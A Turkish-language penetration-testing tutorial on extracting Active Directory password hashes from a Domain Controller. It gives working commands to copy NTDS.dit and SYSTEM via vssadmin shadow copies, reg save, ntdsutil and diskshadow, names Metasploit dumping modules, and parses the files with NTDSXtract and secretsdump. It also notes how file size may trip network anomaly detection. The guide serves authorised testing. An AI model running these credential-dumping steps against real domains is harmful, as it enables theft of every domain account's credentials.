Domain Admins (etki alanı yöneticileri) grubu yetkileri elde edildikten sonra, MSF smart_hashdump modülü ile etki alanı hesaplarının parola özetleri elde edilebilir. Ancak DC gibi kritik bir makineye Meterpreter ile bağlanılması sızma testleri sırasında istenmeyebilir. Bu sebeple, sistemin kararlılığına daha az zarar verme ihtimali olan yöntemler kullanılarak etki alanındaki hesapların parola özetleri elde edilebilir. Bu amaçla, DC’ye yetkili kullanıcı hakkı ile erişim elde ettikten sonra, NTDS.dit ve SYSTEM dosyaları elde edilecek ve daha sonra da kullanıcı parolalarının özeti elde edilecektir.
1) VSSAdmin Aracı ile NTDS.dit ve SYSTEM Dosyalarının Elde Edilmesi
Etki alanı nesnelerine ait bilgiler temel olarak NTDS.dit dosyasında bulunmaktadır diyebiliriz. Bu dosya da SYSTEM dosyasındaki bir anahtarla (SYSKEY) şifrelenmiştir. Bu 2 dosya elde edilirse, etki alanındaki kullanıcıların parola özetleri elde edilebilir. Ancak bu 2 dosyaya erişim işletim sistemi tarafından engellenmiştir. Bu amaçla, Volume Shadow Copy kullanılabilir.
Gölge kopya oluşturmak için, öncelikle, işletim sisteminin kurulu olduğu ve NTDS.dit dosyasının tutulduğu disk’te “Configure Shadow Copies…” seçimi yapılır.
Sonrasında seçilen alan gölge kopya oluşturma özelliği aktifleştirilir.
Uyarı mesajı gelirse, bu mesaj onaylanır.
Böylece ilk gölge kopya oluşturulmuştur:
Shadow kopya oluşturma işlemi “Disable” butonu ile iptal edilebilir veya Setting butonu ile konfigüre edilebilir.
Oluşan Shadow kopya içerisinden NTDS.dit ve SYSTEM dosyalarını elde etmek için öncelikle tüm shadow kopyalar listelenir:
vssadmin.exe list shadows
Bu örnekte tek bir kere gölge kopya oluşturulduğu için, bir adet gölge kopya listenmiştir. Bu dizin “\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1” olarak belirtilmiştir. En sondaki ID değeri her gölge kopya için bir artacaktır.
Bu Shadow kopya içerisindeki NTDS.dit ve SYSTEM dosyaları herhangi bir yere (C:\Users\Administrators\Desktop gibi) kaydedilebilir.
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\Users\Administrators\Desktop
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SYSTEM C:\Users\Administrators\Desktop
Elde edilen bu dosyalar Kali bir makinenin üzerine alınabilir. Ancak etki alanında çok fazla nesnenin olması bu dosyaların boyutunun artmasına sebep olacaktır. Bu durum da ağ üzerinde anormallik tespiti yapan ürünlerin (ADS gibi) alarm üretmesine sebep verebilir.
Not: DC’nin arayüzüne erişmeden, komut satırını kullanılarak da gölge kopya elde edilebilir:
vssadmin create shadow /for=c:
Not: SYSTEM dosyası komut satırından ele geçirmek için gölge kopya oluşturmaya gerek yoktur. Aşağıdaki komutun çalışması yeterlidir:
reg save HKLM\SYSTEM C:\SYSTEM_Dosyasi
Bu dosyalar Kali bilgisayarın root masaüstüne kaydedilir.
2) NTDSUtil Aracı ile NTDS.dit ve SYSTEM Dosyalarının Elde Edilmesi
Domain Controller üzerinde yetkili kullanıcı hakları ile erişim sağlandıktan sonra, NTDSUtil aracı kullanılarak NTDS.dit, SYSTEM ve SECURITY dosyaları elde edilebilir.
ntdsutil “Activate Instance NTDS” “IFM” “Create Full C:\Temp” Quit Quit
NTDSUtil yerine MSF tarafından sunulan 2 modül de kullanılabilir.
- auxiliary/admin/smb/psexec_ntdsgrab
- post/windows/gather/credentials/domain_hashdump
3) DiskShadow Aracı ile NTDS.dit Dosyasının Elde Edilmesi
C:\Windows\System32 dizini altındaki diskshadow aracı ile de NTDS dit dosyası elde edilebilir. Bu amaçla aşağıdaki gibi bir betik dosyası hazırlanıp diskshadow aracına verilebilir.
1 2 3 4 5 6 7 |
set context persistent nowriters add volume c: alias YeniAlan create expose %YeniAlan% K: exec "cmd.exe" /c copy K:\windows\ntds\ntds.dit C:\temp\NTDS_Yedek.dit delete shadows volume %YeniAlan% reset |
Betik dosyası kaydedilip çalıştırıldığında, NTDS.dit dosyası elde edilecektir.
diskshadow.exe /s C:\Users\Administrator\Desktop\NTDSiAl.txt
4) Elde Edilen Dosyalardan Etki Alanındaki Kullanıcıların Parola Özetlerinin Elde Edilmesi
Bu başlıkta, kopyalanan NTDS.dit ve SYSTEM dosyaları kullanılarak, etki alanındaki kullanıcı parolaları elde edilecektir. Bu amaçla önce NTDS.dit veritabanından ilgili tablolar çekilecek, daha sonra da bu tablolardan istenen hesap bilgileri çekilecektir. Bu işlem için Google Code üzerindeki “libesedb” aracı kullanılabilir.
Harici linke erişildiğinde araç görülmektedir:
Araç Kali üzerine indirilir.
wget https://255adcba056b7d59fd55a94f0ea02de0cf110bfb.googledrive.com/host/0B3fBvzttpiiSN082cmxsbHB0anc/libesedb-alpha-20120102.tar.gz –no-check-certificate
Sıkıştırılmış dosya çıkarılır.
gunzip libesedb-alpha-20120102.tar.gz
tar -xvf libesedb-alpha-20120102.tar
Konfigürasyon işlemi gerçekleştirilir.
ls
cd libesedb-20120102/
ls
ls -la configure
chmod +x configure
ls -la configure
./configure && make
Sonrasında da esedbtools/ klasörüne girilerek /root/Desktop dizinine koyulan ntds.dit dosyasındaki tablolar dışarıya aktarılır.
cd esedbtools/
ls
./esedbexport /root/Desktop/ntds.dit
Dışa aktarım sonrası durum aşağıdaki gibidir:
ls
cd ntds.dit.export/
ls
Daha sonra dışa aktarılan tabloları kullanarak etki alanındaki kullanıcıların parolalarını elde etmek için NTDSXTRACT aracının ana sayfasına girilir.
Aracın 1.0 sürümü indirilir
cd /root/
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
ls
unzip ntdsxtract_v1_0.zip
Amaç, etki alanı kullanıcılarının parola özetini almak olduğu için dsusers.py betiği kullanılacaktır. Bu betik parametre olarak NTDS.dit içerisinden çıkartılmış olan veri tablosunu ve link tablosunu almakta, ayrıca SYSTEM hive dosyasını da kullanmaktadır.
ls
cd NTDSXtract 1.0/
ls
python ./dsusers.py /root/libesedb-20120102/esedbtools/ntds.dit.export/datatable.3 /root/libesedb-20120102/esedbtools/ntds.dit.export/link_table.5 –passwordhashes /root/Desktop/SYSTEM
Böylece etki alanındaki kullanıcıların parola özetleri bu şekilde elde edilmiştir.
5) SecretsDump Betiği ile NTDS.dit ve SYSTEM Dosyalarını Kullanarak Parola Özetlerinin Elde Edilmesi
NTDS.dit ve SYSTEM dosyaları elde edildikten ve Kali makineye atıldıktan sonra, etki alanındaki kullanıcıların parola özetleri elde edilebilir.
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
Kaynaklar:
http://blog.walkerville.org/?p=486
Dumping Domain Password Hashes
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#tools